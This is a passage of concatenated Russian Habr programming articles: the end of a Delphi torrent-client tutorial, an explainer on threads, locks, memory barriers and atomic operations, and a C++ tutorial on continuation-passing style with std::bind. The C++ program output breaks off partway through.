BTPluginAddTrackers.AddTrackers(HashValue, trackers), иначе добавление торрента в список будет продолжено. После добавления торрента в список TasksList.Add(AddDataTask), будет создан поток TLoadTorrent (модуль uTorrentThreads), который выполнит запуск торрента BTPlugin.StartTorrent(DataTorrent) и в котором также запустится цикл repeat, проверяющий состояние и получающий информацию о торренте каждую секунду GetedData := BTPlugin.GetInfoTorrent(DataTask.HashValue). За отображение полученной информации отвечает событие TListView OnData: **Код отображения полученной информации** ``` procedure TfMainForm.lvTasksData(Sender: TObject; Item: TListItem); var i: Integer; Task: TTask; Procent, Procent2: string; EndPoint: Integer; begin with TasksList.LockList do try for i := 0 to Count - 1 do begin if i = Item.Index then begin Task := Items[Item.Index]; // Иконка состояния case Task.Status of tsReady: Item.ImageIndex := 0; // Ожидание закачки tsQueue: Item.ImageIndex := 1; // В очереди tsError: Item.ImageIndex := 2; // Ошибка завершена tsErroring: Item.ImageIndex := 2; // Ошибка не завершена tsLoading: Item.ImageIndex := 3; // Закачка tsStoping: Item.ImageIndex := 4; // Остановка tsStoped: Item.ImageIndex := 5; // Пауза tsLoad: Item.ImageIndex := 6; // Закачано tsProcessing: Item.ImageIndex := 8; // Поиск tsSeeding: Item.ImageIndex := 9; // Раздача tsBittorrentMagnetDiscovery: Item.ImageIndex := 10; // Magnet-поиск tsDelete: Item.ImageIndex := 11; // Удаляется tsDeleted: Item.ImageIndex := 11; // Удален end; Item.SubItems.Add(Task.FileName); // Имя Файла Item.SubItems.Add(Task.LinkToFile); // Ссылка Item.SubItemImages[1] := 12; // Состояние case Task.Status of tsReady: Item.SubItems.Add('Ожидание'); tsQueue: Item.SubItems.Add('В очереди'); tsError: Item.SubItems.Add('Ошибка'); tsErroring: Item.SubItems.Add('Ошибка'); tsLoading: begin if Task.TotalSize > 0 then begin Procent := FloatToStr((Task.LoadSize / Task.TotalSize) * 100); begin EndPoint := pos(',', Procent); if EndPoint <> 0 then begin Procent2 := copy(Procent, 1, EndPoint + 1); Item.SubItems.Add(Procent2 + '% ' + 'Закачка'); end else begin try Procent2 := FloatToStrF(StrToInt(Procent), ffFixed, 6, 1); except end; Item.SubItems.Add(Procent2 + '% ' + 'Закачка'); end; end; end else Item.SubItems.Add(''); end; tsStoping: Item.SubItems.Add('Останавливается'); tsStoped: if (Task.TotalSize > 0) then Item.SubItems.Add(FloatToStrF((Task.LoadSize / Task.TotalSize) * 100, ffFixed, 6, 1) + '% ' + 'Пауза') else Item.SubItems.Add('0% ' + 'Пауза'); tsLoad: Item.SubItems.Add('Завершено'); tsProcessing: Item.SubItems.Add('Поиск'); tsSeeding: Item.SubItems.Add('Раздача'); tsBittorrentMagnetDiscovery: Item.SubItems.Add('Magnet-поиск'); tsDelete: Item.SubItems.Add('Удалено'); tsDeleted: Item.SubItems.Add('Удалено'); tsFileError: Item.SubItems.Add('Ошибка торрента'); tsAllocating: Item.SubItems.Add('Распределение'); tsFinishedAllocating: Item.SubItems.Add('Распределение завершено'); tsRebuilding: Item.SubItems.Add('Восстановление'); tsJustCompleted: Item.SubItems.Add('Завершается'); tsCancelled: Item.SubItems.Add('Отменено'); tsUploading: Item.SubItems.Add('Раздача'); tsStartProcess: Item.SubItems.Add('Запуск'); end; if Task.Speed > 0 then begin Item.SubItems.Add(GetTimeStr((Task.TotalSize - Task.LoadSize) div Task.Speed)); // Осталось end else Item.SubItems.Add(''); if Task.TotalSize > 0 then Item.SubItems.Add(BytesToText(Task.TotalSize)) // Размер else Item.SubItems.Add(''); Item.SubItems.Add(BytesToText(Task.LoadSize)); // Закачано if Task.Speed > 0 then Item.SubItems.Add(BytesToText(Task.Speed) + '/s') // Скорость else Item.SubItems.Add(''); if Task.NumConnectedSeeders > 0 then Item.SubItems.Add(IntToStr(Task.NumConnectedSeeders)) // Сиды else Item.SubItems.Add(''); if Task.NumConnectedLeechers > 0 then Item.SubItems.Add(IntToStr(Task.NumConnectedLeechers)) // Пиры else Item.SubItems.Add(''); if Task.UploadSpeed > 0 then Item.SubItems.Add(BytesToText(Task.UploadSpeed) + '/s') // Скорость отдачи else Item.SubItems.Add(''); if Task.UploadSize > 0 then Item.SubItems.Add(BytesToText(Task.UploadSize)) // Отдано else Item.SubItems.Add(''); break; end; end; finally TasksList.UnLockList; end; end; ``` Вот мы и подошли к моменту тестирования. Хотя код клиента и является завершённым, я решил всё же дополнить его прогрессбаром, который разместил в статусбаре нашего клиента, вместо отображения magnet-ссылки, которая и так отображается в списке торрентов. Это нам нужно для того, чтобы видеть как происходит закачка, последовательно или нет. После компиляции запускаем наш клиент, добавляем торрент в список нажав на кнопку «Добавить торрент». Один торрент добавим без установки метки «Последовательная закачка», а на другом установим эту метку и дождёмся начала закачки. В результате во время закачки мы должны увидеть следующую картину: ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/93f/5b8/f51/93f5b8f51af909cffd787a679cf4aa8f.png) ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/cdd/168/b71/cdd168b716460e8a4b879eca5564ba56.png) Т.е при выделении в списке торрента, в котором мы установили метку «Последовательная закачка», закачка происходит последовательно, а у другого торрента закачка частей торрента происходит выборочно, без последовательности. В итоге мы получили действующий торрент-клиент, полностью выполненный на языке Delphi и неуступающий функциональности современных клиентов. Исходники битторрент-библиотеки BTService и исходники клиента DelphiTorrent (каталог examples) доступны по SVN: [svn.code.sf.net/p/btservice/svn](https://svn.code.sf.net/p/btservice/svn/) Мы создали торрент-клиент, которым пользоваться возможно только в ОС Windows. Потому следует ожидать продолжение, в котором я расскажу о создании клиента для ОС Android и IOS, т.к все предпосылки для этого имеются.
https://habr.com/ru/post/260339/
null
ru
null
# Конкурентность: Параллелизм В этой статье мне хотелось бы задокументировать всё, что я знаю о том, какие средства можно использовать для эффективного использования вычислительных ресурсов систем и/или удобства разработки. И, надеюсь, кому-нибудь это может оказаться полезно, ибо кто-нибудь может чего-нибудь не знать, или, наоборот, окажется полезно мне, если кто-нибудь покажет что-нибудь ещё/укажет на изъяны в моих знаниях. * **Параллелизм** (часть 1, текущая) + [Потоки: scheduling, сон](#potoki) + [Синхронизация](#sinhronizaciya): [Spinlock, семафоры](#spinlock), [барьеры памяти](#barer-pamyati) + [Атомарность: TAS, CAS](#atomarnost) * [Кооперативность](https://habrahabr.ru/post/318786/) (часть 2) + [Корутины (coroutines)](https://habrahabr.ru/post/318786/#korutiny) + [Акторы](https://habrahabr.ru/post/318786/#aktory) * [Асинхронность](https://habrahabr.ru/post/319350/) (часть 3) + [Event loop](https://habrahabr.ru/post/319350/#event-loop) - [select](https://habrahabr.ru/post/319350/#select) + [Callbacks](https://habrahabr.ru/post/319350/#callbacks) + [Async Monad](https://habrahabr.ru/post/319350/#async-monad) + [Промисы (promises, обещания)](https://habrahabr.ru/post/319350/#promisy-promises-obeschaniya) + [async/await — промисы + корутины](https://habrahabr.ru/post/319350/#asyncawait--promisy--korutiny) Параллелизм =========== Когда-то процессоры были одноядерные [(до 2001 года)](https://en.wikipedia.org/wiki/POWER4), а в системах был только один процессор [(до 1966 года)](https://en.wikipedia.org/wiki/ILLIAC_IV). А затем инструкции стали выполняться одновременно в рамках одной системы. Потоки ------ Потоки — абстракция операционной системы, позволяющая выполнять некие куски кода параллельно. Каждый поток имеет «контекст», в который входит кусок памяти под стек и копию регистров процессора. Очевидно, что потоков в системе может быть запущено куда больше, чем у нас имеется процессоров и ядер, поэтому операционная система занимается тем, что schedule'ит (занимается диспетчеризацией, планированием) выполнение процессов, восстанавливая регистры в ядрах процессора для работы некоторого потока некоторое время, затем сохраняет обратно и даёт выполняться следующему. Планирование должно быть хорошим, чтобы каждый поток работал примерно одинаковое время (но при этом достаточно малое, т.е. нас не удовлетворит, если каждый поток будет работать по несколько секунд), а так же само планирование занимало как можно меньше времени. Тут мы, традиционно, приходим к балансу latency/throughput: если давать потокам работать очень маленькие промежутки времени — задержки будут минимальны, но отношение времени полезной работы к времени на переключение контекстов уменьшится, и в итоге полезной работы будет выполнено меньше, а если слишком много — задержки станут заметны, что может проявиться на пользовательском интерфейсе/IO. Тут же хотелось бы отметить довольно важную вещь, к которой будем отсылаться позже. Потоки можно погружать в сон. Мы можем попросить операционную систему усыпить поток на некоторое время. Тогда она может учитывать это при планировании, исключив этот поток из очереди на получение процессорного времени, что даст больше ресурсов другим потокам, либо снизит энергопотребление. Кроме того, в теории можно настраивать приоритеты, чтобы некоторые потоки работали дольше, либо чаще, чем другие. Синхронизация ------------- Ядер у нас стало много, а память как была одна сплошная, так и осталась (хотя в современной организации памяти можно ногу сломать, там и физическая, и виртуальная, и страницы туда-сюда ходят, что-то где-то кешируется, проверяется на ошибки, странно, что всё это до сих пор работает вообще). И когда мы из нескольких потоков начинает менять одну и ту же память — всё может пойти совершенно не так, как мы этого хотели. Могут возникать «гонки», когда в зависимости от того, в каком порядке выполнятся операции, вас ожидает разный результат, что может приводить к потере данных. И, что ещё хуже — данные могут совсем портиться в некоторых случаях. К примеру, если мы записываем некоторое значение на невыровненный адрес памяти, нам нужно записать в две ячейки памяти, и может получиться так, что один поток запишет в одну ячейку, а другой в другую. И если вы записывали указатель, или индекс массива — то скорее всего вы получите падение программы через какое-то время, когда попытаетесь обратиться к чужой памяти. Чтобы этого не происходило, нужно использовать примитивы синхронизации, чтобы получать гарантии того, что некоторые блоки кода будут выполняться в строгом порядке относительно каких-то других блоков кода. ### Spinlock Самый простой примитив: у нас есть boolean'овая переменная, если *true* — значит блокировка кем-то была получена, *false* — свободна. И два метода: **Lock**, **Unlock**. **Unlock** устанавливает значение в *false*. **Lock** в цикле делает либо **TAS**, либо **CAS** (об этом будет далее), чтобы атомарно сменить *false* на *true*, и пытаться до тех пор, пока не получится. Имея такую штуку мы можем делать блоки кода, которые будут выполняться эксклюзивно (т.е. пока один выполняется, другой стартовать не может). В начале блока он выполняет метод **Lock**, в конце **Unlock**. Важно, чтобы он не попытался сделать **Lock** второй раз, иначе некому будет сделать **Unlock** и получится **deadlock**. Возможно навешивание плюшек. Например, сохранение идентификатора потока, кто захватил блокировку, чтобы никто кроме захватившего потока, не мог сделать **Unlock**, и если мы сделали **Lock** второй раз — он не зациклился, такая реализация это называется **«мьютексом»**. А если вместо boolean'а у нас беззнаковое число, а **Lock** ждёт числа больше нуля, уменьшая его на единицу, получается **«семафор»**, позволяющий работать некоторому заданному числу блоков одновременно, но не более. Поскольку блокировка работает в бесконечном цикле она просто «жгёт» ресурсы, не делая ничего полезного. Существуют реализации, которые при неудачах говорят планировщику *«я всё, передай остаток моего времени другим потокам»*. Или, например, есть **«адаптивные мьютексы»**, которые при попытке получить блокировку, которую удерживает поток, который в данный момент выполняется — использует spinlock, а если не выполняется — передаёт выполнение другим потокам. Это логично, т.к. если поток, который может освободить ресурс сейчас работает, то у нас есть шансы, что он вот-вот освободится. А если он не выполняется — есть смысл подождать чуть больше и передать выполнение другому потоку, возможно даже тому, кого мы ждём. По возможности стоит избегать использования спинлоков, их можно использовать только если блоки кода, которые они защищают, выполняются невероятно быстро, что шансы коллизии крайне малы. Иначе мы можем затратить довольно большое количество ресурсов просто на обогрев комнаты. Лучшая альтернатива блокировкам — усыпление потока, чтобы планировщик исключил его из претендентов на процессорное время, а затем просьба из другого потока разбудить первый поток обратно, чтобы он обработал новые данные, которые уже на месте. Но это справедливо только для очень длительных ожиданий, если же скорости освобождения блокировок соразмерны с одним «тактом» выполнения потока — производительнее использовать спинлоки. ### Барьер памяти В погоне за скоростью работы, архитекторы процессоров создали очень много тёмной магии, которая пытается предсказывать будущее и может переставлять процессорные инструкции местами, если они не зависят друг от друга. Если у вас каждый процессор работает только со своей памятью — вы никогда не заметите, что инструкции *a = 5* и *b = 8* выполнились в другом порядке, не так, как вы написали в коде. Но при параллельном исполнении это может привести к интересным случаям. Пример из википедии: ``` // Processor #1: while (f == 0); // Memory fence required here print(x); ``` ``` // Processor #2: x = 42; // Memory fence required here f = 1; ``` Казалось бы, что здесь может пойти не так? Цикл завершится, когда **f** будет присвоена единица, на момент чего переменная **x** вроде как уже будет равна **42**. Но нет, процессор может произвольно менять местами такие инструкции и в итоге сначала может выполниться `f = 1`, а затем `x = 42` и может вывестись не **42**, а что-нибудь другое. И даже более того. Если с порядком записи всё нормально, может быть изменён порядок чтения, где значение **x** прочитается перед тем, как мы войдём в цикл. Для противодействия этому используются барьеры памяти, специальные инструкции, которые препятствуют тому, чтобы инструкции были перемещены сквозь них. На хабре есть [отличный перевод](https://habrahabr.ru/post/155517/) на эту тему. Атомарность ----------- Поскольку некоторые операции с памятью могут быть потоконебезопасны (например, прибавить к числу другое число и сохранить его обратно), существуют операции для проведения атомарных операций, для которых есть специальные процессорные инструкции. Наиболее часто используемые: * **Test-and-Set** — записывает значение, возвращает предыдущее. * **Compare-and-Swap** — записывает значение только в том случае, если текущее значение переменной совпадает с неким ожидаемым, возвращает успех записи. Возвращаясь к нашему спинлоку, операция получения блокировки может быть реализована как при помощи **TAS**: ``` void lock() { // Мы будем записывать 1 до тех пор, пока между нашими выполнениям кто-то не запишет в неё 0 while (test_and_set(&isLocked, 1) == 0); } ``` Так и при помощи **CAS**: ``` void lock() { // Пытаемся записать 1, ожидая 0 while (!compare_and_swap(&isLocked, 0, 1)) } ``` --- … как я сказал, мне бы хотелось задокументировать всё, но… получилось довольно много, поэтому я разобью это дело на три статьи. Stay tuned. **UPD:** [Вторая часть](https://habrahabr.ru/post/318786/).
https://habr.com/ru/post/318374/
null
ru
null
# Статически типизированные продолжения Намедни на RSDN был задан такой вопрос: Пусть у нас есть функция, возвращающая полиморфный тип ``` class Base { virtual int foo() const = 0; }; class A : public Base { int foo() const { return 1; } }; class B : public Base { int foo() const { return 2; } }; class C : public Base { int foo() const { return 3; } }; class D : public Base { int foo() const { return 4; } }; Base* getconfig(char cfg) // не будем пока отвлекаться на уборку мусора { switch(cfg) { case 'a': return new A(); case 'b': return new B(); case 'c': return new C(); case 'd': return new D(); default: throw std::invalid_argument("bad type"); } } ``` и функция, принимающая его экземпляры ``` int entry(Base* x, Base* y) { return x->foo()*10 + y->foo(); } ``` которую используют примерно так ``` void run(char cx, char cy) { std::cout << cx << cy << " : " << entry(getconfig(cx), getconfig(cy)) << std::endl; } ``` Можно ли протащить полиморфизм на стадию компиляции? Можно! Но для этого придётся вывернуть код мехом внутрь, то есть, переписать его в **continuation passing style** (CPS) — или, по-русски, — на продолжениях. ##### Сперва напомним, что это такое, в общих чертах. Если у нас есть выражение z = f(g(x)), мы его вычисляем так: 1. y = g(x) 2. z = f(y) Теперь определим функцию высшего порядка (принимающую на вход другую функцию) G(x,k) = k(g(x)). Буквально это значит «вычисли g(x) и передай результат продолжению k» (k — kontinuation, часто пишется через «k», чтобы отличать от «c» — constant). Казалось бы, ничего принципиального не поменялось: z = G(x,f)? На самом деле, поменялось! В C++ вывод типов однонаправленный: по аргументам подбирается наиболее подходящая сигнатура функции, будь то шаблон или семейство перегрузок. Если функция g возвращает полиморфный тип, она сможет передать его в f напрямую, без абстрагирования до базового. ##### Посмотрим, как трансформируются более сложные выражения. f(g(h(x))) <=> H(x, λ y.G(y, λ z.f(z)))), где λ t.expr(t) — лямбда-выражение (замыкание), да простят мне читатели не-C++-ный, а классический стиль записи; H(x,k) = k(h(x)) G(x,h) = k(g(x)) f(g(x),h(y)) <=> G(x, λu.H(y, λv.f(u,v))) Это ведь то, что нам надо! За одной маленькой деталью: **полиморфные лямбды**. С ними нашу задачу можно реализовать так: ``` template void getconfig(char cfg, K& kont) { switch(cfg) { case 'a': kont(A()); break; // кстати, теперь необязательно выделять объекты на куче case 'b': kont(B()); break; case 'c': kont(C()); break; case 'd': kont(D()); break; default: std::cerr << "bad type" << std::endl; break; // вместо броска исключения - просто не вызываем продолжение } } template void entry(X&& x, Y&& y, K&& kont) { kont(x.foo()\*10 + y.foo()); } template // работаем с любыми числовыми типами, - почему бы и нет? void finish(char cx, char cy, N sum) { std::cout << cx << cy << " : " << sum << std::endl; } // и даже так void finish(char cx, char cy, int sum) { std::cout << cx << cy << " : " << "int " << sum << std::endl; } void finish(char cx, char cy, unsigned sum) { std::cout << cx << cy << " : " << "uint " << sum << std::endl; } void finish(char cx, char cy, long sum) { std::cout << cx << cy << " : " << "long " << sum << std::endl; } void finish(char cx, char cy, unsigned long sum) { std::cout << cx << cy << " : " << "ulong " << sum << std::endl; } void finish(char cx, char cy, double sum) { std::cout << cx << cy << " : " << "double " << sum << std::endl; } void run(char cx, char cy) { getconfig(cx, [=](auto x) { getconfig(cy, [=](auto y) { entry(x, y, [=](auto sum) { finish(cx,cy,sum); }) }) }); } ``` Выглядит неплохо, хотя и несколько громоздко… Одна беда: полиморфные лямбды появились только в C++14. А без них передавать шаблоны функций как аргументы других функций — мучительное дело. Но не безнадёжное! Прибегнем к нескольким трюкам. ##### Первый трюк Тип функции должен быть фиксированным (не шаблонным), но сама функция — полиморфной. Как такое возможно? А вот как: ``` struct getconfig_t { template void operator() (char cfg, K&& kont) const { switch(cfg) { case 'a': kont(A()); break; case 'b': kont(B()); break; case 'c': kont(C()); break; case 'd': kont(D()); break; default: std::cerr << "bad type" << std::endl; break; } } } const getconfig; // заодно сразу определим константу этого типа struct entry\_t { template void operator()(X&& x, Y&& y, K&& kont) const { kont(x.foo()\*10 + y.foo()); } } const entry; struct finish\_t { // так мы придали фиксированный тип не только шаблону, но и семейству перегрузок функции // (в обычной жизни это была бы россыпь типов void(int), void(unsigned) и т.д. void operator()(int sum) { std::cout << "int " << sum << std::endl; } void operator()(unsigned sum) { std::cout << "uint " << sum << std::endl; } void operator()(long sum) { std::cout << "long " << sum << std::endl; } void operator()(unsigned long sum) { std::cout << "ulong " << sum << std::endl; } void operator()(double sum) { std::cout << "double " << sum << std::endl; } } const finish; ``` Теперь мы сможем написать `entry(A(), B(), finish);`, однако, для всей нашей конструкции придётся громоздить нечто страшное: объекты-замыкания ``` struct F { char cx, cy; // связанные переменные контекста F(char cx, char cy) : cx(cx), cy(cy) {} template void operator()(N sum) const { finish(cx,cy,sum); } }; template struct E { char cx, cy; X&& x; E(char cx, char cy, X&& x) : cx(cx), cy(cy), x(x) {} template void operator()(Y&& y) const { entry(x,y, F(cx,cy)); } }; struct G { char cx, char cy; G(char cx, char cy) : cx(cx), cy(cy) {} template void operator()(X&& x) const { getconfig(cy, E(cx,cy,x)); } }; void run(char cx, char cy) { getconfig(cx, G(cx,cy)); } ``` К счастью, в *старом* добром C++ есть библиотека, строящая действительно полиморфные замыкания, — по сути, синтаксические деревья, которые окончательно собираются в момент применения аргументов. Это std::bind, полученная из boost::bind. Выражение `bind(foo, x, _1)` возвращает даже не одноместную функцию, а не-менее-чем одноместную, принимающую любые типы, лишь бы результат подстановки был совместим с сигнатурой функции foo: `bind(foo, x, _1)(100, 200, "bar")`. Такая гибкость для нас избыточна, но лучше больше, чем меньше, не правда ли? Итак, попробуем… ``` #include using namespace std; // bind using namespace std::placeholders; // \_1, \_2 void run(char cx, char cy) { getconfig(cx, bind(getconfig, cy, bind(entry, \_1, \_2, bind(finish, cx, cy, \_1) ) ) ); } ``` И, конечно же, это добро не скомпилируется! Дело в том, что bind создаёт дерево выражения, и вложенные bind — не независимые замыкания, а просто части одного большого выражения, — по сути, просто скобки оператора(). Без CPS и полиморфизма мы могли бы написать ``` bind(finish, _1, _2, bind(entry, bind(getconfig, _1), bind(getconfig, _2))) (cx, cy); ``` и аргументы полученного замыкания — cx и cy — были бы подставлены во все соответствующие места этой мега-формулы. ##### Второй трюк Чтобы изолировать вложенные bind'ы, в boost была специальная функция protect, маскирующая тип выражения (bind смотрит на свои аргументы с помощью type traits std::is\_placeholder и std::is\_bind\_expression). Почему-то в C++11 эта функция не вошла в стандартную библиотеку, но её несложно написать по мотивам. Спасибо Stack Overflow, всё уже украдено до нас. ``` template // где T - некий класс - результат bind-выражения struct protect\_wrapper : T { protect\_wrapper(const T& t) : T(t) {} protect\_wrapper(T&& t) : T(std::move(t)) {} // оператор() унаследован }; // если это не bind - передадим как есть template typename std::enable\_if< !std::is\_bind\_expression< typename std::decay::type >::value, T&& >::type protect(T&& t) { return std::forward(t); } // если это bind - завернём в protect\_wrapper template typename std::enable\_if< std::is\_bind\_expression< typename std::decay::type >::value, protect\_wrapper::type > >::type protect(T&& t) { return protect\_wrapper::type >(std::forward(t)); } ``` Теперь `bind(foo, protect(bind(bar, _1)), _1)(x)` будет значить, что функция foo получит на вход другую функцию bar(\_1), а не результат вычисления bar(x). protect(bind(...)) — это идиома, и чтобы не писать лишних скобок, мы можем написать соответствующую комбинацию: ``` template auto probind(Args... args) -> decltype(protect(bind(args...))) { return protect(bind(args...)); } ``` На C++03 она выглядела бы более многословно — без вариадиков, без вывода типов. Но, я надеюсь, все уже обновили свои компиляторы? А кто не обновил, пишите protect(bind(.....)). Однако, сам по себе probind нас не спасёт. ``` void run(char cx, char cy) { getconfig(cx, probind(getconfig, cy, probind(entry, _1, _2, // что здесь делать? getconfig хочет функцию-продолжение с единственным аргументом! probind(finish, cx, cy, _1) // здесь всё правильно: отдадим в entry замыкание с одним аргументом ) ) ); } ``` Надо каким-то образом показать, что один аргумент надо подставить прямо сейчас, а другой станет формальным параметром полученного замыкания. Без protect — оба подставятся сразу, с protect — оба станут формальными. Вообще, bind, возвращающий bind — это нетривиальная задача. На том же StackOverflow народ спрашивает частные случаи про «bind return bind», и даёт частные ответы. А у нас полиморфизм времени компиляции… ##### Третий трюк У нас есть несколько путей. Во-первых, можем реализовать честный карринг, разобрать список аргументов на цепочку вызовов функций, возвращающих функции, потом в выражении собрать всё обратно… Это будет, мягко сказать, громоздко. Во-вторых, под конкретный случай написать каррированную версию entry ``` struct curried_entry_t { template auto operator()(Y&& y, K&& k) const -> decltype( probind(entry,\_1,y,k) ) { return probind(entry,\_1,y,k); } }; void run(char cx, char cy) { getconfig(cx, probind(getconfig, cy, bind(curried\_entry, \_1, // getconfig(cx, H) вызовет H(x) = probind(getconfig,cy,bind(curried\_entry,x,F)) probind(finish, cx, cy, \_1) ) ) ); } ``` … или, хотя бы, функцию-комбинатор: ``` struct curry_binary_t { template auto operator(E&& e, X&& x) const -> decltype( probind(e,x,\_1) ) { return probind(e,x,\_1); } } curry\_binary; void run(char cx, char cy) { getconfig(cx, probind(getconfig, cy, bind(curry\_binary, probind(entry, \_1, \_2, probind(finish, cx, cy, \_1) ), \_1 // getconfig(x,H) вызовет H(x) и подставит x сюда ) ) ); } ``` В-третьих, прибегнем к трюку, похожему на трюк с protect: помешаем bind'у раньше времени выполнять подстановку. ``` // местоимения второго порядка _dN и функция их трансляции _pass_ struct _d1_t {} const _d1; auto _pass_(_d1_t) -> decltype(_1) { return _1; } struct _d2_t {} const _d2; auto _pass_(_d2_t) -> decltype(_2) { return _2; } struct _d3_t {} const _d3; auto _pass_(_d3_t) -> decltype(_3) { return _3; } // и т.д. до _d9 template auto \_pass\_(T&& t) -> T&& { return t; } // все остальные аргументы подставляются как есть struct partial\_t { //TODO: нагенерить сигнатуры на все разумные количества аргументов (или попробовать переписать на вариадиках) template auto operator()(F&& f) const -> decltype( probind(f) ) { return probind(f); } template auto operator()(F&& f, T1&& t1) const -> decltype( probind(f, \_pass\_(t1)) ) { return probind(f, \_pass\_(t1)); } template auto operator()(F&& f, T1&& t1, T2&& t2) const -> decltype( probind(f, \_pass\_(t1), \_pass\_(t2)) ) { return probind(f, \_pass\_(t1), \_pass\_(t2)); } } const partial; void run(char cx, char cy) { getconfig(cx, probind(getconfig, cy, bind(partial, probind(entry, \_1, \_2, probind(finish, cx, cy, \_1) ), // аргумент F - некая двухместная функция... \_1, // первый аргумент которой подставлен вызывающей стороной getconfig(cx, H) --> H(x) \_d1, // а второй будет формальным аргументом результирующей функции, которую вызовет getconfig(cy,E) --> E(y) ) ) ); } ``` Итак, мы добавили к стандартной библиотеке комбинаторов недостающий **protect**, необходимый нам **partial**, — и смогли написать продолжения на полиморфных замыканиях! Ну а чтобы избавиться от этой страшной лесенки, перепишем в столбик ``` void run_(char cx, char cy) { // кирпичики: продолжения auto g = probind(getconfig, cx, _1); // void(K) auto h = probind(getconfig, cy, _1); // void(K) auto e = probind(entry, _1, _2, _3); // void(ABCD,ABCD,K) // последний кирпичик - без продолжения auto f = probind(finish, cx, cy, _1); // комбинации auto fe = probind(e,_1,_2,f); //auto feh = probind(h, bind(curried_entry,_1,f)); //auto feh = probind(h, bind(curry_binary,fe,_1)); auto feh = probind(h, bind(partial, fe, _d1, _1)); auto fegh = probind(g, feh); // запускаем fegh(); } ``` Ну что, испытаем? ``` int main() { vector abcd = { 'a','b','c','d','e' }; for(auto x : abcd) for(auto y : abcd) run\_1(x,y); } ``` ##### Полный текст программы **всё в кучу** ``` #include #include #include using namespace std; using namespace std::placeholders; struct A { int foo() { return 1; } } const a; struct B { unsigned foo() { return 2; } } const b; struct C { long foo() { return 3; } } const c; struct D { double foo() { return 4; } } const d; // все наши полиморфные функции будут иметь первоклассный фиксированный тип struct getconfig\_t { template // где K имеет сигнатуру void f(ABCD) void operator()(char t, K kont) const { cout << "getconfig(" << t << ") "; switch(t) { case 'a': kont(A()); break; case 'b': kont(B()); break; case 'c': kont(C()); break; case 'd': kont(D()); break; default: cout << "bad type" << endl; break; // исключение состоит в том, чтобы не вызывать продолжение :) } } } const getconfig; struct entry\_t // e(X,Y,K), где X и Y = A/B/C/D, а K имеет сигнатуру f(N) { template void operator()(X&& x, Y&& y, K&& kont) const { cout << "entry(...) "; kont(x.foo()\*10 + y.foo()); } } const entry; struct finish\_t // void f(N) { template void report(char cx, char cy, const char\* type, N value) const { cout << "finish() : "; cout << cx << "+" << cy << " = " << type << " " << value << endl; } void operator()(char cx, char cy, int n) const { report(cx,cy, "int ", n); } void operator()(char cx, char cy, unsigned n) const { report(cx,cy, "uint ", n); } void operator()(char cx, char cy, long n) const { report(cx,cy, "long ", n); } void operator()(char cx, char cy, unsigned long n) const { report(cx,cy, "ulong ", n); } void operator()(char cx, char cy, double n) const { report(cx,cy, "double", n); } } const finish; /////////////////////////// // протектор bind-выражений template struct protect\_wrapper : T { protect\_wrapper(const T& t) : T(t) {} protect\_wrapper(T&& t) : T(std::move(t)) {} }; template typename std::enable\_if< !std::is\_bind\_expression< typename std::decay::type >::value, T&& >::type protect(T&& t) { return std::forward(t); } template typename std::enable\_if< std::is\_bind\_expression< typename std::decay::type >::value, protect\_wrapper::type > >::type protect(T&& t) { return protect\_wrapper::type >(std::forward(t)); } template auto probind(Args... args) -> decltype(protect(bind(args...))) { return protect(bind(args...)); } ///////////////////////////// // каррированая функция entry struct curried\_entry\_t // E1 e(Y,K), где E1 = void e1(X) { template auto operator()(Y&& y, K&& k) const -> decltype( probind(entry,\_1,y,k) ) { return probind(entry,\_1,y,k); } } const curried\_entry; ///////////////////////////////// // комбинатор двухместной функции struct curry\_binary\_t { template auto operator()(F&& f, X&& x) const -> decltype( probind(f,x,\_1) ) { return probind(f,x,\_1); } } const curry\_binary; ////////////////////////////////// // комбинатор частичных применений struct \_d1\_t {} const \_d1; auto \_pass\_(\_d1\_t) -> decltype(\_1) { return \_1; } struct \_d2\_t {} const \_d2; auto \_pass\_(\_d2\_t) -> decltype(\_2) { return \_2; } struct \_d3\_t {} const \_d3; auto \_pass\_(\_d3\_t) -> decltype(\_3) { return \_3; } template auto \_pass\_(T&& t) -> T&& { return t; } struct partial\_t { template auto operator()(F&& f) const -> decltype( probind(f) ) { return probind(f); } template auto operator()(F&& f, T1&& t1) const -> decltype( probind(f, \_pass\_(t1)) ) { return probind(f, \_pass\_(t1)); } template auto operator()(F&& f, T1&& t1, T2&& t2) const -> decltype( probind(f, \_pass\_(t1), \_pass\_(t2)) ) { return probind(f, \_pass\_(t1), \_pass\_(t2)); } } const partial; struct binder\_t { template auto operator()(F&& f, Args... args) const -> decltype(bind(f,args...)) { return bind(f,args...); } } const binder; /////////////// // комбинируем! void run\_1(char cx, char cy) { // кирпичики: продолжения auto g = probind(getconfig, cx, \_1); // void(K) auto h = probind(getconfig, cy, \_1); // void(K) auto e = probind(entry, \_1, \_2, \_3); // void(ABCD,ABCD,K) // последний кирпичик - без продолжения auto f = probind(finish, cx, cy, \_1); // комбинации auto fe = probind(e,\_1,\_2,f); //auto feh = probind(h, bind(curried\_entry, \_1, f)); //auto feh = probind(h, bind(curry\_binary, fe, \_1)); auto feh = probind(h, bind(partial, fe, \_d1, \_1)); auto fegh = probind(g, feh); // запускаем fegh(); } void run\_2(char cx, char cy) { getconfig(cx, probind(getconfig, cy, bind(partial, probind(entry, \_1, \_2, probind(finish, cx, cy, \_1) ), \_1, \_d1 ) ) ); } /////////////////////////// // перебираем всё со всеми! int main() { vector abcd = { 'a','b','c','d','e' }; for(auto x : abcd) for(auto y : abcd) run\_1(x,y); } ``` ##### Результат выполнения **Скрытый текст** ``` getconfig(a) getconfig(a) entry(...) finish() : a+a = int 11 getconfig(a) getconfig(b) entry(...) finish() : a+b = uint 21 getconfig(a) getconfig(c) entry(...) finish() : a+c = long 31 getconfig(a) getconfig(d) entry(...) finish() : a+d = double 41 getconfig(a) getconfig(e) bad type getconfig(b) getconfig(a) entry(...) finish() : b+a = uint 12 getconfig(b) getconfig(b) entry(...) finish() : b+b = uint 22 getconfig(b) getconfig(c) entry(...) finish() : b+c = ulong 32 getconfig(b) getconfig(d) entry(...) finish() : b+d = double 42 getconfig(b) getconfig(e) bad type getconfig(c) getconfig(a) entry(...) finish() : c+a = long 13 getconfig(c) getconfig(b) entry(...) finish() : c+b = ulong 23 getconfig(c) getconfig(c) entry(...) finish() : c+c = long 33 getconfig(c) getconfig(d) entry(...) finish() : c+d = double 43 getconfig(c) getconfig(e) bad type getconfig(d) getconfig(a) entry(...) finish() : d+a = double 14 getconfig(d) getconfig(b) entry(...) finish() : d+b = double 24 